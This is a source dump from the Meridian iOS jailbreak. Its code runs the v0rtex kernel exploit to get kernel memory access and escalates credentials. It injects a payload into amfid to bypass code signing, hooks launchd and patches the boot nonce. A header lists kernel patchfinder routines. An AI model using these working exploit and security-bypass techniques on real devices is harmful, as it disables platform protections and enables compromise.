    [view writeText:@"done!"];
    
    // extract meridian-bootstrap
    [view writeText:@"extracting meridian files..."];
    ret = extractMeridianData();
    if (ret != 0) {
        [view writeText:@"failed!"];
        [view writeTextPlain:[NSString stringWithFormat:@"error code: %d", ret]];
        return 1;
    }
    [view writeText:@"done!"];
    
    // dump offsets to file for later use (/meridian/offsets.plist)
    dumpOffsetsToFile(offsets, kernel_base, kslide);
    
    // patch amfid
    [view writeText:@"patching amfid..."];
    ret = defecateAmfi();
    if (ret != 0) {
        [view writeText:@"failed!"];
        if (ret > 0) {
            [view writeTextPlain:[NSString stringWithFormat:@"failed to patch - %d tries", ret]];
        }
        return 1;
    }
    [view writeText:@"done!"];
    
    // touch .cydia_no_stash
    touch_file("/.cydia_no_stash");
    
    // extract bootstrap (if not already extracted)
    if (file_exists("/meridian/.bootstrap") != 0) {
        [view writeText:@"extracting bootstrap..."];
        int exitCode = 0;
        ret = extractBootstrap(&exitCode);
        
        if (ret != 0) {
            [view writeText:@"failed!"];
            
            switch (ret) {
                case 1:
                    [view writeTextPlain:@"failed to extract system-base.tar"];
                    break;
                case 2:
                    [view writeTextPlain:@"failed to extract installer-base.tar"];
                    break;
                case 3:
                    [view writeTextPlain:@"failed to extract dpkgdb-base.tar"];
                    break;
                case 4:
                    [view writeTextPlain:@"failed to extract cydia-base.tar"];
                    break;
                case 5:
                    [view writeTextPlain:@"failed to extract optional-base.tar"];
                    break;
                case 6:
                    [view writeTextPlain:@"failed to run uicache!"];
                    break;
            }
            [view writeTextPlain:@"exit code: %d", exitCode];
            
            return 1;
        }
        
        [view writeText:@"done!"];
    }
    
    // add the midnight repo 
    if (file_exists("/etc/apt/sources.list.d/meridian.list") != 0) {
        FILE *fd = fopen("/etc/apt/sources.list.d/meridian.list", "w+");
        const char *text = "deb http://repo.midnight.team ./";
        fwrite(text, strlen(text) + 1, 1, fd);
        fclose(fd);
    }
    
    // launch dropbear
    if (startDropbearIsEnabled()) {
        [view writeText:@"launching dropbear..."];
        ret = launchDropbear();
        if (ret != 0) {
            [view writeText:@"failed!"];
            [view writeTextPlain:@"exit code: %d", ret];
            return 1;
        }
        [view writeText:@"done!"];
    }
    
    // link substitute stuff
    setUpSubstitute();
    
    // symlink /Library/MobileSubstrate/DynamicLibraries -> /usr/lib/tweaks
    setUpSymLinks();
    
    // remove Substrate's SafeMode (MobileSafety) if it's installed
    // removing from dpkg will be handled by Cydia conflicts later
    if (file_exists("/usr/lib/tweaks/MobileSafety.dylib") == 0) {
        unlink("/usr/lib/tweaks/MobileSafety.dylib");
    }
    if (file_exists("/usr/lib/tweaks/MobileSafety.plist") == 0) {
        unlink("/usr/lib/tweaks/MobileSafety.plist");
    }
    
    // start jailbreakd
    [view writeText:@"starting jailbreakd..."];
    ret = startJailbreakd();
    if (ret != 0) {
        [view writeText:@"failed"];
        if (ret > 1) {
            [view writeTextPlain:@"failed to launch - %d tries", ret];
        }
        return 1;
    }
    [view writeText:@"done!"];
    
    // patch com.apple.System.boot-nonce
    [view writeText:@"patching boot-nonce..."];
    ret = nvpatch("com.apple.System.boot-nonce");
    if (ret != 0) {
        [view writeText:@"failed!"];
        return 1;
    }
    [view writeText:@"done!"];
    
    // Get generator from settings
    char nonceRaw[19];
    sprintf(nonceRaw, "0x%016llx", getBootNonceValue());
    nonceRaw[18] = '\0';
    
    // Set new nonce (if required)
    const char *boot_nonce = copy_boot_nonce();
    if (boot_nonce == NULL ||
        strcmp(boot_nonce, nonceRaw) != 0) {
        [view writeText:@"setting boot-nonce..."];
        
        set_boot_nonce(nonceRaw);
        
        [view writeText:@"done!"];
    }
    
    if (boot_nonce != NULL) {
        free((void *)boot_nonce);
    }
    
    // load launchdaemons
    if (startLaunchDaemonsIsEnabled()) {
        [view writeText:@"loading launchdaemons..."];
        ret = loadLaunchDaemons();
        if (ret != 0) {
            [view writeText:@"failed!"];
            return 1;
        }
        [view writeText:@"done!"];
    }
    
    if (file_exists("/.meridian_installed") != 0) {
        touch_file("/.meridian_installed");
    }
    
    great_success = TRUE;
    
    return 0;
}

kern_return_t callback(task_t kern_task, kptr_t kbase, void *cb_data) {
    tfp0 = kern_task;
    kernel_base = kbase;
    kslide = kernel_base - 0xFFFFFFF007004000;
    
    return KERN_SUCCESS;
}

int runV0rtex() {
    offsets = get_offsets();
    
    if (offsets == NULL) {
        return -420;
    }
    
    int ret = v0rtex(offsets, &callback, NULL);
    
    uint64_t kernel_task_addr = rk64(offsets->kernel_task + kslide);
    kernprocaddr = rk64(kernel_task_addr + offsets->task_bsd_info);
    kern_ucred = rk64(kernprocaddr + offsets->proc_ucred);
    
    if (ret == 0) {
        NSLog(@"tfp0: 0x%x", tfp0);
        NSLog(@"kernel_base: 0x%llx", kernel_base);
        NSLog(@"kslide: 0x%llx", kslide);
        NSLog(@"kern_ucred: 0x%llx", kern_ucred);
        NSLog(@"kernprocaddr: 0x%llx", kernprocaddr);
    }
    
    return ret;
}

int patchContainermanagerd() {
    uint64_t cmgr = find_proc_by_name("containermanager");
    if (cmgr == 0) {
        NSLog(@"unable to find containermanager!");
        return 1;
    }
    
    wk64(cmgr + 0x100, kern_ucred);
    return 0;
}

int remountRootFs() {
    NSOperatingSystemVersion osVersion = [[NSProcessInfo processInfo] operatingSystemVersion];
    int pre130 = osVersion.minorVersion < 3 ? 1 : 0;
    
    int rv = mount_root(kslide, offsets->root_vnode, pre130);
    if (rv != 0) {
        return 1;
    }
    
    return 0;
}

int extractMeridianData() {
    return extract_bundle_tar("meridian-bootstrap.tar");
}

void setUpSymLinks() {
    struct stat file;
    stat("/Library/MobileSubstrate/DynamicLibraries", &file);
    
    if (file_exists("/Library/MobileSubstrate/DynamicLibraries") == 0 &&
        file_exists("/usr/lib/tweaks") == 0 &&
        S_ISLNK(file.st_mode)) {
        return;
    }
    
    // By the end of this check, /usr/lib/tweaks should exist containing any
    // tweaks (if applicable), and /Lib/MobSub/DynLib should NOT exist
    if (file_exists("/Library/MobileSubstrate/DynamicLibraries") == 0 &&
        file_exists("/usr/lib/tweaks") != 0) {
        // Move existing tweaks folder to /usr/lib/tweaks
        [fileMgr moveItemAtPath:@"/Library/MobileSubstrate/DynamicLibraries" toPath:@"/usr/lib/tweaks" error:nil];
    } else if (file_exists("/Library/MobileSubstrate/DynamicLibraries") == 0 &&
               file_exists("/usr/lib/tweaks") == 0) {
        // Move existing tweaks to /usr/lib/tweaks and delete the MobSub folder
        NSArray *fileList = [fileMgr contentsOfDirectoryAtPath:@"/Library/MobileSubstrate/DynamicLibraries" error:nil];
        for (NSString *item in fileList) {
            NSString *fullPath = [NSString stringWithFormat:@"/Library/MobileSubstrate/DynamicLibraries/%@", item];
            [fileMgr moveItemAtPath:fullPath toPath:@"/usr/lib/tweaks" error:nil];
        }
        [fileMgr removeItemAtPath:@"/Library/MobileSubstrate/DynamicLibraries" error:nil];
    } else if (file_exists("/Library/MobileSubstrate/DynamicLibraries") != 0 &&
               file_exists("/usr/lib/tweaks") != 0) {
        // Just create /usr/lib/tweaks - /Lib/MobSub/DynLibs doesn't exist
        mkdir("/Library/MobileSubstrate", 0755);
        mkdir("/usr/lib/tweaks", 0755);
    } else if (file_exists("/Library/MobileSubstrate/DynamicLibraries") != 0 &&
               file_exists("/usr/lib/tweaks") == 0) {
        // We should be fine in this case
        mkdir("/Library/MobileSubstrate", 0755);
    }
    
    // Symlink it!
    symlink("/usr/lib/tweaks", "/Library/MobileSubstrate/DynamicLibraries");
}

int extractBootstrap(int *exitCode) {
    int rv;
    
    // extract system-base.tar
    rv = extract_bundle_tar("system-base.tar");
    if (rv != 0) {
        *exitCode = rv;
        return 1;
    }
    
    // extract installer-base.tar
    rv = extract_bundle_tar("installer-base.tar");
    if (rv != 0) {
        *exitCode = rv;
        return 2;
    }
    
    if (file_exists("/private/var/lib/dpkg/status") != 0) {
        [fileMgr removeItemAtPath:@"/private/var/lib/dpkg" error:nil];
        [fileMgr removeItemAtPath:@"/Library/dpkg"         error:nil];
        
        rv = extract_bundle_tar("dpkgdb-base.tar");
        if (rv != 0) {
            *exitCode = rv;
            return 3;
        }
    }
    
    // extract cydia-base.tar
    rv = extract_bundle_tar("cydia-base.tar");
    if (rv != 0) {
        *exitCode = rv;
        return 4;
    }
    
    // extract optional-base.tar
    rv = extract_bundle_tar("optional-base.tar");
    if (rv != 0) {
        *exitCode = rv;
        return 5;
    }
    
    enableHiddenApps();
    
    touch_file("/meridian/.bootstrap");
    
    rv = uicache();
    if (rv != 0) {
        *exitCode = rv;
        return 6;
    }
    
    return 0;
}

int defecateAmfi() {
    // trust our payload
    int ret = inject_trust("/meridian/amfid_payload.dylib");
    if (ret != 0) return -1;
    
    unlink("/var/tmp/amfid_payload.alive");
    
    pid_t pid = get_pid_for_name("amfid");
    if (pid == 0) {
        return -2;
    }
    
    ret = inject_library(pid, "/meridian/amfid_payload.dylib");
    if (ret != 0) return -2;
    
    int tries = 0;
    while (file_exists("/var/tmp/amfid_payload.alive") != 0) {
        if (tries >= 100) {
            NSLog(@"failed to patch amfid (%d tries)", tries);
            return tries;
        }
        
        NSLog(@"waiting for amfid patch...");
        usleep(100000); // 0.1 sec
        tries++;
    }
    
    return 0;
}

int launchDropbear() {
    NSMutableArray *args = [NSMutableArray arrayWithCapacity:11];
    [args addObject:@"/meridian/dropbear/dropbear"];
    switch (listenPort()) {
        case Port22:
            [args addObjectsFromArray:@[@"-p", @"22"]];
            break;
        case Port2222:
            [args addObjectsFromArray:@[@"-p", @"2222"]];
            break;
        default:
            NSLog(@"DEFAULT WTF");
        case Port222222:
            [args addObjectsFromArray:@[@"-p", @"22", @"-p", @"2222"]];
            break;
    }
    
    [args addObjectsFromArray:@[@"-F", @"-R", @"-E", @"-m", @"-S", @"/"]];
    
    NSMutableDictionary *newPrefs = [NSMutableDictionary dictionaryWithContentsOfFile:@"/meridian/dropbear/dropbear.plist"];
    newPrefs[@"ProgramArguments"] = args;
    [newPrefs writeToFile:@"/meridian/dropbear/dropbear.plist" atomically:false];

    return start_launchdaemon("/meridian/dropbear/dropbear.plist");
}

void setUpSubstitute() {
    // link CydiaSubstrate.framework -> /usr/lib/libsubstrate.dylib
    if (file_exists("/Library/Frameworks/CydiaSubstrate.framework") == 0) {
        [fileMgr removeItemAtPath:@"/Library/Frameworks/CydiaSubstrate.framework" error:nil];
    }
    mkdir("/Library/Frameworks", 0755);
    mkdir("/Library/Frameworks/CydiaSubstrate.framework", 0755);
    symlink("/usr/lib/libsubstrate.dylib", "/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate");
}

int startJailbreakd() {
    unlink("/var/tmp/jailbreakd.pid");
    
    NSData *blob = [NSData dataWithContentsOfFile:@"/meridian/jailbreakd/jailbreakd.plist"];
    NSMutableDictionary *job = [NSPropertyListSerialization propertyListWithData:blob options:NSPropertyListMutableContainers format:nil error:nil];
    
    job[@"EnvironmentVariables"][@"KernelBase"]         = [NSString stringWithFormat:@"0x%16llx", kernel_base];
    job[@"EnvironmentVariables"][@"KernProcAddr"]       = [NSString stringWithFormat:@"0x%16llx", kernprocaddr];
    job[@"EnvironmentVariables"][@"ZoneMapOffset"]      = [NSString stringWithFormat:@"0x%16llx", offsets->zone_map];
    job[@"EnvironmentVariables"][@"AddRetGadget"]       = [NSString stringWithFormat:@"0x%16llx", find_add_x0_x0_0x40_ret()];
    job[@"EnvironmentVariables"][@"OSBooleanTrue"]      = [NSString stringWithFormat:@"0x%16llx", find_OSBoolean_True()];
    job[@"EnvironmentVariables"][@"OSBooleanFalse"]     = [NSString stringWithFormat:@"0x%16llx", find_OSBoolean_False()];
    job[@"EnvironmentVariables"][@"OSUnserializeXML"]   = [NSString stringWithFormat:@"0x%16llx", find_OSUnserializeXML()];
    job[@"EnvironmentVariables"][@"Smalloc"]            = [NSString stringWithFormat:@"0x%16llx", find_smalloc()];
    [job writeToFile:@"/meridian/jailbreakd/jailbreakd.plist" atomically:YES];
    chmod("/meridian/jailbreakd/jailbreakd.plist", 0600);
    chown("/meridian/jailbreakd/jailbreakd.plist", 0, 0);
    
    int rv = start_launchdaemon("/meridian/jailbreakd/jailbreakd.plist");
    if (rv != 0) return 1;
    
    int tries = 0;
    while (file_exists("/var/tmp/jailbreakd.pid") != 0) {
        printf("Waiting for jailbreakd \n");
        tries++;
        usleep(300000); // 300ms
        
        if (tries >= 100) {
            NSLog(@"too many tries for jbd - %d", tries);
            return tries;
        }
    }
    
    if (tweaksAreEnabled()) {
        sleep(2);
        
        rv = inject_trust("/usr/lib/pspawn_hook.dylib");
        if (rv != 0) return 2;
        
        // inject pspawn_hook.dylib to launchd
        rv = inject_library(1, "/usr/lib/pspawn_hook.dylib");
        if (rv != 0) return 3;
    }
    
    return 0;
}

int loadLaunchDaemons() {
    NSArray *daemons = [fileMgr contentsOfDirectoryAtPath:@"/Library/LaunchDaemons" error:nil];
    for (NSString *file in daemons) {
        NSString *path = [NSString stringWithFormat:@"/Library/LaunchDaemons/%@", file];
        NSLog(@"found launchdaemon: %@", path);
        chmod([path UTF8String], 0755);
        chown([path UTF8String], 0, 0);
    }
    
    return start_launchdaemon("/Library/LaunchDaemons");
}

void enableHiddenApps() {
    // enable showing of system apps on springboard
    // this is some funky killall stuff tho
    killall("cfprefsd", "-SIGSTOP");
    NSMutableDictionary* md = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"];
    [md setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"];
    [md writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES];
    killall("cfprefsd", "-9");
}


================================================
FILE: Meridian/Meridian/mach/jailbreak_daemonUser.c
================================================
/*
 * IDENTIFICATION:
 * stub generated Tue Aug 14 18:38:08 2018
 * with a MiG generated by bootstrap_cmds-96.20.2
 * OPTIONS: 
 */
#define	__MIG_check__Reply__jailbreak_daemon_subsystem__ 1

#include "jailbreak_daemonUser.h"


#ifndef	mig_internal
#define	mig_internal	static __inline__
#endif	/* mig_internal */

#ifndef	mig_external
#define mig_external
#endif	/* mig_external */

#if	!defined(__MigTypeCheck) && defined(TypeCheck)
#define	__MigTypeCheck		TypeCheck	/* Legacy setting */
#endif	/* !defined(__MigTypeCheck) */

#if	!defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_)
#define	__MigKernelSpecificCode	_MIG_KERNEL_SPECIFIC_CODE_	/* Legacy setting */
#endif	/* !defined(__MigKernelSpecificCode) */

#ifndef	LimitCheck
#define	LimitCheck 0
#endif	/* LimitCheck */

#ifndef	min
#define	min(a,b)  ( ((a) < (b))? (a): (b) )
#endif	/* min */

#if !defined(_WALIGN_)
#define _WALIGN_(x) (((x) + 3) & ~3)
#endif /* !defined(_WALIGN_) */

#if !defined(_WALIGNSZ_)
#define _WALIGNSZ_(x) _WALIGN_(sizeof(x))
#endif /* !defined(_WALIGNSZ_) */

#ifndef	UseStaticTemplates
#define	UseStaticTemplates	0
#endif	/* UseStaticTemplates */

#ifndef	__MachMsgErrorWithTimeout
#define	__MachMsgErrorWithTimeout(_R_) { \
	switch (_R_) { \
	case MACH_SEND_INVALID_DATA: \
	case MACH_SEND_INVALID_DEST: \
	case MACH_SEND_INVALID_HEADER: \
		mig_put_reply_port(InP->Head.msgh_reply_port); \
		break; \
	case MACH_SEND_TIMED_OUT: \
	case MACH_RCV_TIMED_OUT: \
	default: \
		mig_dealloc_reply_port(InP->Head.msgh_reply_port); \
	} \
}
#endif	/* __MachMsgErrorWithTimeout */

#ifndef	__MachMsgErrorWithoutTimeout
#define	__MachMsgErrorWithoutTimeout(_R_) { \
	switch (_R_) { \
	case MACH_SEND_INVALID_DATA: \
	case MACH_SEND_INVALID_DEST: \
	case MACH_SEND_INVALID_HEADER: \
		mig_put_reply_port(InP->Head.msgh_reply_port); \
		break; \
	default: \
		mig_dealloc_reply_port(InP->Head.msgh_reply_port); \
	} \
}
#endif	/* __MachMsgErrorWithoutTimeout */

#ifndef	__DeclareSendRpc
#define	__DeclareSendRpc(_NUM_, _NAME_)
#endif	/* __DeclareSendRpc */

#ifndef	__BeforeSendRpc
#define	__BeforeSendRpc(_NUM_, _NAME_)
#endif	/* __BeforeSendRpc */

#ifndef	__AfterSendRpc
#define	__AfterSendRpc(_NUM_, _NAME_)
#endif	/* __AfterSendRpc */

#ifndef	__DeclareSendSimple
#define	__DeclareSendSimple(_NUM_, _NAME_)
#endif	/* __DeclareSendSimple */

#ifndef	__BeforeSendSimple
#define	__BeforeSendSimple(_NUM_, _NAME_)
#endif	/* __BeforeSendSimple */

#ifndef	__AfterSendSimple
#define	__AfterSendSimple(_NUM_, _NAME_)
#endif	/* __AfterSendSimple */

#define msgh_request_port	msgh_remote_port
#define msgh_reply_port		msgh_local_port



#if ( __MigTypeCheck )
#if __MIG_check__Reply__jailbreak_daemon_subsystem__
#if !defined(__MIG_check__Reply__call_t__defined)
#define __MIG_check__Reply__call_t__defined

mig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *Out0P)
{

	typedef __Reply__call_t __Reply __attribute__((unused));
	if (Out0P->Head.msgh_id != 600) {
	    if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
		{ return MIG_SERVER_DIED; }
	    else
		{ return MIG_REPLY_MISMATCH; }
	}

#if	__MigTypeCheck
	if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
	    (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
		{ return MIG_TYPE_ERROR ; }
#endif	/* __MigTypeCheck */

	{
		return Out0P->RetCode;
	}
}
#endif /* !defined(__MIG_check__Reply__call_t__defined) */
#endif /* __MIG_check__Reply__jailbreak_daemon_subsystem__ */
#endif /* ( __MigTypeCheck ) */


/* Routine call */
mig_external kern_return_t jbd_call
(
	mach_port_t server_port,
	uint8_t command,
	uint32_t pid
)
{

#ifdef  __MigPackStructs
#pragma pack(4)
#endif
	typedef struct {
		mach_msg_header_t Head;
		NDR_record_t NDR;
		uint8_t command;
		char commandPad[3];
		uint32_t pid;
	} Request __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif

#ifdef  __MigPackStructs
#pragma pack(4)
#endif
	typedef struct {
		mach_msg_header_t Head;
		NDR_record_t NDR;
		kern_return_t RetCode;
		mach_msg_trailer_t trailer;
	} Reply __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif

#ifdef  __MigPackStructs
#pragma pack(4)
#endif
	typedef struct {
		mach_msg_header_t Head;
		NDR_record_t NDR;
		kern_return_t RetCode;
	} __Reply __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif
	/*
	 * typedef struct {
	 * 	mach_msg_header_t Head;
	 * 	NDR_record_t NDR;
	 * 	kern_return_t RetCode;
	 * } mig_reply_error_t;
	 */

	union {
		Request In;
		Reply Out;
	} Mess;

	Request *InP = &Mess.In;
	Reply *Out0P = &Mess.Out;

	mach_msg_return_t msg_result;

#ifdef	__MIG_check__Reply__call_t__defined
	kern_return_t check_result;
#endif	/* __MIG_check__Reply__call_t__defined */

	__DeclareSendRpc(500, "call")

	InP->NDR = NDR_record;

	InP->command = command;

	InP->pid = pid;

	InP->Head.msgh_bits =
		MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
	/* msgh_size passed as argument */
	InP->Head.msgh_request_port = server_port;
	InP->Head.msgh_reply_port = mig_get_reply_port();
	InP->Head.msgh_id = 500;
	InP->Head.msgh_reserved = 0;
	
/* BEGIN VOUCHER CODE */

#ifdef USING_VOUCHERS
	if (voucher_mach_msg_set != NULL) {
		voucher_mach_msg_set(&InP->Head);
	}
#endif // USING_VOUCHERS
	
/* END VOUCHER CODE */

	__BeforeSendRpc(500, "call")
	msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	__AfterSendRpc(500, "call")
	if (msg_result != MACH_MSG_SUCCESS) {
		__MachMsgErrorWithoutTimeout(msg_result);
		{ return msg_result; }
	}


#if	defined(__MIG_check__Reply__call_t__defined)
	check_result = __MIG_check__Reply__call_t((__Reply__call_t *)Out0P);
	if (check_result != MACH_MSG_SUCCESS)
		{ return check_result; }
#endif	/* defined(__MIG_check__Reply__call_t__defined) */

	return KERN_SUCCESS;
}


================================================
FILE: Meridian/Meridian/mach/jailbreak_daemonUser.h
================================================
#ifndef	_jailbreak_daemon_user_
#define	_jailbreak_daemon_user_

/* Module jailbreak_daemon */

#include <string.h>
#include <mach/ndr.h>
#include <mach/boolean.h>
#include <mach/kern_return.h>
#include <mach/notify.h>
#include <mach/mach_types.h>
#include <mach/message.h>
#include <mach/mig_errors.h>
#include <mach/port.h>
	
/* BEGIN VOUCHER CODE */

#ifndef KERNEL
#if defined(__has_include)
#if __has_include(<mach/mig_voucher_support.h>)
#ifndef USING_VOUCHERS
#define USING_VOUCHERS
#endif
#ifndef __VOUCHER_FORWARD_TYPE_DECLS__
#define __VOUCHER_FORWARD_TYPE_DECLS__
#ifdef __cplusplus
extern "C" {
#endif
	extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
#ifdef __cplusplus
}
#endif
#endif // __VOUCHER_FORWARD_TYPE_DECLS__
#endif // __has_include(<mach/mach_voucher_types.h>)
#endif // __has_include
#endif // !KERNEL
	
/* END VOUCHER CODE */

	
/* BEGIN MIG_STRNCPY_ZEROFILL CODE */

#if defined(__has_include)
#if __has_include(<mach/mig_strncpy_zerofill_support.h>)
#ifndef USING_MIG_STRNCPY_ZEROFILL
#define USING_MIG_STRNCPY_ZEROFILL
#endif
#ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
#define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
#ifdef __cplusplus
extern "C" {
#endif
	extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));
#ifdef __cplusplus
}
#endif
#endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */
#endif /* __has_include(<mach/mig_strncpy_zerofill_support.h>) */
#endif /* __has_include */
	
/* END MIG_STRNCPY_ZEROFILL CODE */


#ifdef AUTOTEST
#ifndef FUNCTION_PTR_T
#define FUNCTION_PTR_T
typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);
typedef struct {
        char            *name;
        function_ptr_t  function;
} function_table_entry;
typedef function_table_entry   *function_table_t;
#endif /* FUNCTION_PTR_T */
#endif /* AUTOTEST */

#ifndef	jailbreak_daemon_MSG_COUNT
#define	jailbreak_daemon_MSG_COUNT	1
#endif	/* jailbreak_daemon_MSG_COUNT */

#include <mach/std_types.h>
#include <mach/mig.h>
#include <mach/mig.h>
#include <mach/mach_types.h>

#ifdef __BeforeMigUserHeader
__BeforeMigUserHeader
#endif /* __BeforeMigUserHeader */

#include <sys/cdefs.h>
__BEGIN_DECLS


/* Routine call */
#ifdef	mig_external
mig_external
#else
extern
#endif	/* mig_external */
kern_return_t jbd_call
(
	mach_port_t server_port,
	uint8_t command,
	uint32_t pid
);

__END_DECLS

/********************** Caution **************************/
/* The following data types should be used to calculate  */
/* maximum message sizes only. The actual message may be */
/* smaller, and the position of the arguments within the */
/* message layout may vary from what is presented here.  */
/* For example, if any of the arguments are variable-    */
/* sized, and less than the maximum is sent, the data    */
/* will be packed tight in the actual message to reduce  */
/* the presence of holes.                                */
/********************** Caution **************************/

/* typedefs for all requests */

#ifndef __Request__jailbreak_daemon_subsystem__defined
#define __Request__jailbreak_daemon_subsystem__defined

#ifdef  __MigPackStructs
#pragma pack(4)
#endif
	typedef struct {
		mach_msg_header_t Head;
		NDR_record_t NDR;
		uint8_t command;
		char commandPad[3];
		uint32_t pid;
	} __Request__call_t __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif
#endif /* !__Request__jailbreak_daemon_subsystem__defined */

/* union of all requests */

#ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined
#define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined
union __RequestUnion__jbd_jailbreak_daemon_subsystem {
	__Request__call_t Request_jbd_call;
};
#endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */
/* typedefs for all replies */

#ifndef __Reply__jailbreak_daemon_subsystem__defined
#define __Reply__jailbreak_daemon_subsystem__defined

#ifdef  __MigPackStructs
#pragma pack(4)
#endif
	typedef struct {
		mach_msg_header_t Head;
		NDR_record_t NDR;
		kern_return_t RetCode;
	} __Reply__call_t __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif
#endif /* !__Reply__jailbreak_daemon_subsystem__defined */

/* union of all replies */

#ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined
#define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined
union __ReplyUnion__jbd_jailbreak_daemon_subsystem {
	__Reply__call_t Reply_jbd_call;
};
#endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */

#ifndef subsystem_to_name_map_jailbreak_daemon
#define subsystem_to_name_map_jailbreak_daemon \
    { "call", 500 }
#endif

#ifdef __AfterMigUserHeader
__AfterMigUserHeader
#endif /* __AfterMigUserHeader */

#endif	 /* _jailbreak_daemon_user_ */


================================================
FILE: Meridian/Meridian/patchfinders/liboffsetfinder64.hpp
================================================
//
//  offsetfinder64.hpp
//  offsetfinder64
//
//  Created by tihmstar on 10.01.18.
//  Copyright © 2018 tihmstar. All rights reserved.
//

#ifndef offsetfinder64_hpp
#define offsetfinder64_hpp

#include <string>
#include <stdint.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld_images.h>
#include <vector>

#include <stdlib.h>

typedef uint64_t offset_t;


namespace tihmstar {
    
    class exception : public std::exception{
        std::string _err;
        int _code;
    public:
        exception(int code, std::string err) : _err(err), _code(code) {};
        exception(std::string err) : _err(err), _code(0) {};
        exception(int code) : _code(code) {};
        const char *what(){return _err.c_str();}
        int code(){return _code;}
    };
    namespace patchfinder64{
        typedef uint8_t* loc_t;
        
        class patch{
            bool _slideme;
            void(*_slidefunc)(class patch *patch, uint64_t slide);
        public:
            const loc_t _location;
            const void *_patch;
            const size_t _patchSize;
            patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){
                _patch = malloc(_patchSize);
                memcpy((void*)_patch, patch, _patchSize);
                _slideme = (_slidefunc) ? true : false;
            }
            patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){
                _patch = malloc(_patchSize);
                memcpy((void*)_patch, cpy._patch, _patchSize);
                _slidefunc = cpy._slidefunc;
                _slideme = cpy._slideme;
            }
            void slide(uint64_t slide){
                if (!_slideme)
                    return;
                printf("sliding with %p\n",(void*)slide);
                _slidefunc(this,slide);
                _slideme = false; //only slide once
            }
            ~patch(){
                free((void*)_patch);
            }
            
        };
    }
    class offsetfinder64 {
    public:
        struct text_t{
            patchfinder64::loc_t map;
            size_t size;
            patchfinder64::loc_t base;
            bool isExec;
        };
        
    private:
        bool _freeKernel;
        uint8_t *_kdata;
        size_t _ksize;
        offset_t _kslide;
        patchfinder64::loc_t _kernel_entry;
        std::vector<text_t> _segments;
        
        struct symtab_command *__symtab;
        void loadSegments(uint64_t slide);
        __attribute__((always_inline)) struct symtab_command *getSymtab();
        
    public:
        offsetfinder64(const char *filename);
        offsetfinder64(void* buf, size_t size, uint64_t base);
        const void *kdata();
        patchfinder64::loc_t find_entry();
        const std::vector<text_t> &segments(){return _segments;};
        
        patchfinder64::loc_t memmem(const void *little, size_t little_len);
        
        patchfinder64::loc_t find_sym(const char *sym);
        patchfinder64::loc_t find_syscall0();
        uint64_t             find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0);
        
        /*------------------------ v0rtex -------------------------- */
        patchfinder64::loc_t find_zone_map();
        patchfinder64::loc_t find_kernel_map();
        patchfinder64::loc_t find_kernel_task();
        patchfinder64::loc_t find_realhost();
        patchfinder64::loc_t find_bzero();
        patchfinder64::loc_t find_bcopy();
        patchfinder64::loc_t find_copyout();
        patchfinder64::loc_t find_copyin();
        patchfinder64::loc_t find_ipc_port_alloc_special();
        patchfinder64::loc_t find_ipc_kobject_set();
        patchfinder64::loc_t find_ipc_port_make_send();
        patchfinder64::loc_t find_chgproccnt();
        patchfinder64::loc_t find_kauth_cred_ref();
        patchfinder64::loc_t find_osserializer_serialize();
        uint32_t             find_vtab_get_external_trap_for_index();
        uint32_t             find_vtab_get_retain_count();
        uint32_t             find_iouserclient_ipc();
        uint32_t             find_ipc_space_is_task();
        uint32_t             find_proc_ucred();
        uint32_t             find_task_bsd_info();
        uint32_t             find_vm_map_hdr();
        uint32_t             find_task_itk_self();
        uint32_t             find_task_itk_registered();
        uint32_t             find_sizeof_task();
        
        patchfinder64::loc_t find_rop_add_x0_x0_0x10();
        patchfinder64::loc_t find_rop_ldr_x0_x0_0x10();
        
        
        /*------------------------ kernelpatches -------------------------- */
        patchfinder64::patch find_i_can_has_debugger_patch_off();
        patchfinder64::patch find_lwvm_patch_offsets();
        patchfinder64::patch find_remount_patch_offset();
        std::vector<patchfinder64::patch> find_nosuid_off();
        patchfinder64::patch find_proc_enforce();
        patchfinder64::patch find_amfi_patch_offsets();
        patchfinder64::patch find_cs_enforcement_disable_amfi();
        patchfinder64::patch find_amfi_substrate_patch();
//        patchfinder64::patch find_sandbox_patch();
